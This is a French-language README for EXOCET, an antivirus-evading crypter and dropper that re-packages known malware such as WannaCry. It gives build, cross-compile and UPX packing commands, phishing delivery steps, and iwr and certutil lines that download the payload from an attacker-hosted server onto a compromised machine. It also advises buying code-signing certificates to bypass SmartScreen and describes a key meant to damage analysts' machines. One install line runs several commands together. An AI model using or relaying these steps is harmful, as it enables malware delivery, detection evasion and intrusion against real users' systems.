EXOCET - Outil de livraison de payload contournant les antivirus et indétectable
Chang Tan
AWS Certified Cloud Practitioner and Solutions Architect Associate
[email protected]
Assurez-vous de compresser vos charges utiles pour éviter toute fuite de la clé du crypter et compliquer davantage le travail des analystes de logiciels malveillants. Un packer commercial haut de gamme comme Themida n'est PAS nécessaire. Cela susciterait davantage de soupçons sans un certificat de signature de code. Sans certificat de signature de code, sur les systèmes Windows, SmartScreen est automatiquement déclenché. C'est la règle pour tous les programmes potentiellement indésirables ou 'PUP', ce qui signifie toutes les charges utiles malveillantes, beacons, geacons, chevaux de Troie d'accès à distance, etc., nécessitent un certificat de signature de code. Votre argent est mieux dépensé pour acheter un certificat de signature de code que pour un packer haut de gamme.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Ensuite, déposez la charge utile sur votre cible. En utilisant quelque chose comme un email de phishing, un lien, ou si vous avez déjà un accès shell, livrez-le en hébergeant votre propre serveur localement
python -m http.server 80'
et puis sur la machine que vous compromettez, exécutez dans une invite PowerShell
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
ou
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
et ensuite exécutez avec outputmalware.exe
EXOCET est supérieur aux modules 'Evasive Payloads' de Metasploit car EXOCET utilise AES-256 en mode GCM (Galois/Counter Mode). Les charges utiles d'évasion de Metasploit utilisent un chiffrement RC4 facile à détecter. Bien que RC4 puisse déchiffrer plus rapidement, AES-256 est beaucoup plus difficile à déterminer l'intention du logiciel malveillant.

Cependant, il est possible d'utiliser Metasploit pour construire une charge utile d'évasion, puis de la chaîner avec EXOCET. Ainsi, EXOCET déchiffrera via AES-256, puis la charge utile d'évasion de Metasploit se déchiffre elle-même depuis RC4.
Comme mon précédent projet, DarkLordObama, cette boîte à outils est conçue pour être un véhicule de livraison/lancement, comme le fait Veil-Evasion.
Cependant, EXOCET n'est pas limité à une seule base de code ou à des plates-formes exécutant Python. EXOCET fonctionne sur TOUTES les plates-formes et architectures prises en charge par Go.
EXOCET est effectivement un dropper de malware de type crypter qui peut recycler des charges utiles facilement détectables comme WannaCry, les chiffrer en utilisant AES-GCM (Galois/Counter Mode), qui est plus sécurisé que AES-CBC, puis créer un fichier dropper pour la majorité des architectures et plates-formes existantes.
Fondamentalement...
Cela signifie les architectures 32 bits et 64 bits, et cela fonctionne sur Linux, Windows, Macs, Unix, Android, iPhone, etc. Vous prenez n'importe quoi, et je veux dire N'IMPORTE QUOI, comme le ver Morris de 1988 qui a failli faire tomber Internet (qui exploitait une faille dans le démon d'écoute fingerd sur UNIX), et en faire une cyberarme viable à nouveau.
EXOCET est entièrement écrit en Go.
EXOCET, quel que soit le binaire que vous utilisez pour l'exécuter, nécessite Golang pour fonctionner. Par défaut, il génère un fichier .go crypté.
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Une clé est générée automatiquement pour vous. La clé est longue de 64 caractères et est entièrement composée de redirecteurs de pipe shell bash et cmd.exe pour confondre et perturber les tentatives de brute-force contre la clé en provoquant un comportement imprévisible et destructeur sur l'appareil de l'analyste judiciaire.
Pour les cibles Windows 64 bits...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
Et il en sort un fichier outputmalware.exe
Pour les cibles macOS 64 bits
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Pour les cibles Linux 64 bits
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Voir cette référence sur github pour vos paramètres pour d'autres systèmes d'exploitation comme Android Référence pour la compilation croisée Go
Notez que la clé peut toujours être trouvée avec la commande strings, veuillez utiliser la commande upx-ucl pour empaqueter le binaire afin de masquer la clé.
De plus, il existe des binaires préconstruits que j'ai faits, ce qui signifie que vous devez simplement exécuter ./EXOCET ou EXOCET-Windows.exe
Moi, Chang Tan, et les créateurs du module principal et des sous-modules d'Exocet et des packages qu'il intègre ne sommes PAS responsables de l'utilisation abusive de cet outil. Ce n'est qu'un outil de test de pénétration. Il vous est strictement interdit de déployer des binaires de sortie d'Exocet contre des systèmes protégés non autorisés ou des systèmes gouvernementaux protégés non autorisés.
Je suis conscient que des acteurs de menace de l'APT41 et du NSO Group ont utilisé et/ou adopté du code de cet outil, en particulier la méthode go-memexec. Si je devais être approché par des enquêteurs fédéraux concernant l'utilisation abusive de cet outil, je ne revendique aucune responsabilité.
C'est la même chose qui est arrivée aux développeurs de Mimikatz et PowerShell Empire (qui ont déprécié leur propre développement en prenant conscience de son utilisation parmi les acteurs de menace). Les successeurs ont repris le développement d'Empire, et il existe des alternatives gratuites comme Covenant C2.